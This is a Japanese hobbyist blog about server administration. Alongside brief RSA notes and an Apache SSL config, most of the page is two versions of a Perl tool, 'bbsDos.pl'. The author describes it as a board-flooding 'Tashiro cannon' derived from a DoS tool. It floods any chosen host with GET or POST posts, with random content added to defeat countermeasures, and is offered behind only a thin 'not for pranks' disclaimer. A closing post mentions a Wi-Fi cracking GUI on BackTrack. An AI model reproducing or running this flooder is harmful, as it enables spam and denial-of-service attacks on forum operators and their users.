ORBIT SPACE
普通科に通う凡人学生のサーバー管理に関する外部記憶装置
-
9月17
RSA暗号化について
Filed under: Linux (Server), PERSONAL COMPUTER, PROGRAM; Tagged as: Linux, Linux (Server), PC, PROGRAMNo Comments暗号化の方法がとても気になったので調べてみました。
※特に可逆暗号化と公開鍵暗号についてです。RSAの式(暗号化)
C = M^e (mod n)調べてみたら呆気にとられるくらい簡単で単純です。
^(キャロット)は累乗という意味です。
modは除算した時に発生する余りを意味します。
Cが暗号化された文章を意味します。
Mは平文を意味します。
要するにCは平文Mをe乗してnで割った余りであると言うことになります。今日は徹夜明けなので頭がボーっとしてまともに物事を考えられないので近いうちに
暗号化と複合化するプログラムを書いて見ます。参考元:はやわかり RSA
参考元:ASCIIコードと文字の相互変換 -
9月14No Comments
非常に困りました^^;
彼の野原 – FrontPage様よりワイルドカードを使った証明書を作成しました。ですが、/etc/apache2/conf.d/ssl.confになんて記述してよいのか分からない(汗
エラーが起きてしまいます。結局NameVirtualHost *:443を記述していないと言うことに気づくのに1時間ほどかかってしまいました^^;
追記した内容
NameVirtualHost *:443 <VirtualHost *:443> SSLEngine on ServerName mail.orbit-space.net DocumentRoot /var/www/html/webmail/ ## certificate file path below SSLCertificateFile /usr/share/ssl/certs/server.pem SSLCertificateKeyFile /usr/share/ssl/certs/server.key <Directory /var/www/html/webmail/> AllowOverride None Options ExecCGI Order allow,deny Allow from all </Directory> CustomLog /var/log/apache2/ssl_request_log \ "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b" </VirtualHost> -
8月29No Comments
今朝投稿した掲示板耐久性テスト プログラムをもう一度改良しました。改良点はGETでデータを送信していたのをPOSTでも送信可能にしました。もう少し短くできそうなものなんですがね。。。。。。
Get the Flash Player to see this player.
#!/usr/bin/perl ################################################# #ソフト名:掲示板耐久性テストプログラム #バージョン:Ver.2.0 #ファイル名:bbsDos.pl #作者:ORBIT #作者HP:http://www.orbit-space.net/blog/ #※悪戯の目的で使用しないでください。 ################################################# #IO::Socketモジュールを使用する use IO::Socket; #Socketモジュールを使用する use Socket; #アクセス先ホストの指定 while($host eq ""){ print "X"x"50"."\n"; print "URL(ホスト名)を入力してください\n"; print "> http://"; $host = <STDIN>; chomp $host; if($host eq "quit"){exit;} } #ポートを指定するかユーザーへ質問する print "X"x"50"."\n"; print "ポート番号を指定しますか?[y/n]"; $q_port = <STDIN>; print "指定しない場合は80番ポートへアクセスします\n"; chomp $q_port; #yが入力されたらポート番号が入力されるまで待機 if ($q_port eq "y"){ print "X"x"50"."\n"; print "ポートを指定します\n"; print "> "; $port = <STDIN>; chomp $port; }else{ $port = "80"; } #乱数を追記させるかを確認 print "X"x"50"."\n"; print "送信するデータに乱数を追加しますか?[y/n]"; $r = <STDIN>; chomp $r; #乱数を追記させるかを確認 if($r eq "y"){ print "X"x"50"."\n"; print "乱数の文字数を指定してください\n"; print "> "; $rr = <STDIN>; chomp $rr; $rr = "1" if($rr eq ""); } #送信方法を確認 print "X"x"50"."\n"; print "(GET/POST)どちらを利用しますか?[g/p]"; $net = <STDIN>; chomp $net; if($net eq "p"){&post_set;} if($net eq "g"){&get_set;} #送信回数 print "X"x"50"."\n"; print "ループさせる回数を指定してください\n"; print "> "; $loop = <STDIN>; chomp $loop; if($loop eq "" || $loop eq "1"){ $loop = "2"; $ex = "1"; } if($loop == "0"){ print "Error:0回のループは指定出来ません!\n"; exit; } $loop-="1"; #スリープの設定 print "X"x"50"."\n"; print "指定秒ウェイトを設定する場合は入力してください\n"; print "> "; $slp = <STDIN>; chomp $slp; #指定させた数字になるまでループ while($ex <= $loop){ #送信数のインクリメント print "X"x"50"."\n"; $exd = $exd+"1"; print "$exd回目\n"; #割合 if($loop ne ""){ $sa = int(($ex/$loop)*"100"); print "進行状況:[$sa\%\/100\%]を完了しました\n"; $ex +="1"; } #送信サブルーチン呼び出し if($net eq "p"){&post;} if($net eq "g"){&get;} #スリープ print "$slp秒スリープします\n" if($slp ne ""); sleep $slp; } print "終了しました\n"; #------------------------------------------------ #サブルーチン #------------------------------------------------ #---------------------------- #GET #---------------------------- sub get_set{ #ファイルの場所の指定 print "X"x"50"."\n"; print "URL(ファイルの場所と送信データ)を入力してください\n"; print "乱数を追加しますのでコメントのname=で終了してください\n" if($r eq "y"); print "> http://$host/"; $bbs = <STDIN>; chomp $bbs; $bbs = "/".$bbs; } sub get{ #乱数格納 $bbs2=$bbs; if ($r eq "y"){ my @alph = ("a".."z"); my $result = ""; foreach ("1".."$rr") {$result .= $alph[rand(@alph)];} $bbs2.=$result; } #送信情報の出力 print "ホストへ以下の情報を送信中です\n"; print "$bbs2\n"; #ホストへ接続を試みる $socket = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "$port", Proto => "tcp", ); #送信 print $socket "GET $bbs2 HTTP/1.0\n\n"; close($socket); } #----------------------------- #POST #----------------------------- sub post_set{ #ファイルまでのパスを指定 print "X"x"50"."\n"; print "ファイルまでのパスを指定してください\n"; print "> http://$host/"; $path = <STDIN>; chomp $path; #送信データの確認 print "X"x"50"."\n"; print "送信するデータを入力してください\n"; print "乱数を追加しますのでコメントのname=で終了してください\n" if($r eq "y"); print "> "; $data = <STDIN>; } sub post{ $data2=$data; if ($r eq "y"){ my @alph = ("a".."z"); my $result = ""; foreach ("1".."$rr") {$result .= $alph[rand(@alph)];} $data2.=$result; } #送信情報の出力 print "ホストへ以下の情報を送信中です\n"; print "$data2\n"; #ホストへ接続を試みる socket(SOCKET, PF_INET, SOCK_STREAM, 0); connect(SOCKET, pack_sockaddr_in($port, inet_aton($host))); select(SOCKET); $|=1; select(STDOUT); #送信 print SOCKET "POST /$path HTTP/1.0\r\n"; print SOCKET "Content-Length: ".length($data2)."\r\n"; print SOCKET "\r\n"; print SOCKET $data2; } -
8月29No Comments
現在掲示板を作成中ですが、またしても脆弱性を発見しましたので、今回は開き直ってある程度性能のある掲示板連続投票ソフトを作成しました。一般的に言われる田代砲です。
通常はJava scriptで書かれていますが、勉強と関数の復習を兼ねてPerlを利用して作りました。
以前紹介したDoS.Perl.BBDoS.aを参考に作るならもっとセンスのある洒落たツールをと言う事で、乱数を追加して送信できる機能を取り付けました。田代砲とするなら乱田代砲と名づけましょうか^^;私の知識不足でProxyリストを使い投稿ごとにアクセス元を変更する機能こそ付いていませんが、投稿内容が毎回変わるので掲示板管理者や作成者はとても対策に困る訳です。
※ (もちろん、一定時間ごとに投票させるスリープ機能は付けてあります。)
つまり、このツールを防げたらたいていの連続投票を防げるわけです。※ このプログラムは悪戯目的に使用しないでください。
元はDos攻撃用ハッキングツールを参考にしていますので非常に危険です。#!/usr/bin/perl ################################################# #ソフト名:掲示板耐久性テストプログラム #バージョン:Ver.1.0 #ファイル名:bbsDos.pl #作者:ORBIT #作者HP:http://www.orbit-space.net/blog/ #※悪戯の目的で使用しないでください。 ################################################# #IO::Socketモジュールを使用する use IO::Socket; #アクセス先ホストの指定 while($host eq ""){ print "X"x"50"."\n"; print "URL(ホスト名)を入力してください\n"; print "> http://"; $host = <STDIN>; chomp $host; if($host eq "quit"){exit;} } #ポートを指定するかユーザーへ質問する print "X"x"50"."\n"; print "ポート番号を指定しますか?[y/n]"; $q_port = <STDIN>; print "指定しない場合は80番ポートへアクセスします\n"; chomp $q_port; #yが入力されたらポート番号が入力されるまで待機 if ($q_port eq "y"){ print "X"x"50"."\n"; print "ポートを指定します\n"; print "> "; $port = <STDIN>; chomp $port; }else{ $port = "80"; } #乱数を追記させるかを確認 print "X"x"50"."\n"; print "送信するデータに乱数を追加しますか?[y/n]"; $r = <STDIN>; chomp $r; #ファイルの場所の指定 print "X"x"50"."\n"; print "URL(ファイルの場所と送信データ)を入力してください\n"; print "乱数を追加しますのでコメントのname=で終了してください\n" if($r eq "y"); print "> http://$host/"; $bbs = <STDIN>; chomp $bbs; $bbs = "/".$bbs; #送信回数 print "X"x"50"."\n"; print "ループさせる回数を指定してください\n"; print "> "; $loop = <STDIN>; chomp $loop; if($loop eq "" || $loop eq "1"){ $loop = "2"; $ex = "1"; } if($loop == "0"){ print "Error:0回のループは指定出来ません!\n"; exit; } $loop-="1"; #スリープの設定 print "X"x"50"."\n"; print "指定秒ウェイトを設定する場合は入力してください\n"; print "> "; $slp = <STDIN>; chomp $slp; #指定させた数字になるまでループ while($ex <= $loop){ print "X"x"50"."\n"; $bbs2=$bbs; #乱数格納 if ($r eq "y"){ $rr = rand("1000"); $bbs2.=$rr; } #送信数のインクリメント $exd = $exd+"1"; print "$exd回目\n"; #割合 if($loop ne ""){ $sa = int(($ex/$loop)*"100"); print "進行状況:[$sa\%\/100\%]を完了しました\n"; $ex +="1"; } #送信情報の出力 print "ホストへ以下の情報を送信中です\n"; print "$bbs2\n"; #ホストへ接続を試みる $socket = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "$port", Proto => "tcp", ); die "Error:ホストに接続できませんでした!\n" unless $socket; #送信 print $socket "GET $bbs2 HTTP/1.0\n\n"; close($socket); #スリープ print "$slp秒スリープします\n" if($slp ne ""); sleep $slp; } print "終了しました\n" -
8月203 Comments
Royal Windows様の記事をみて
Aircarack-ngを無理やりGUIで動かすSpoonWpaというものがあると知り
早速BackTrack 3で起動してみました^^






COMMENT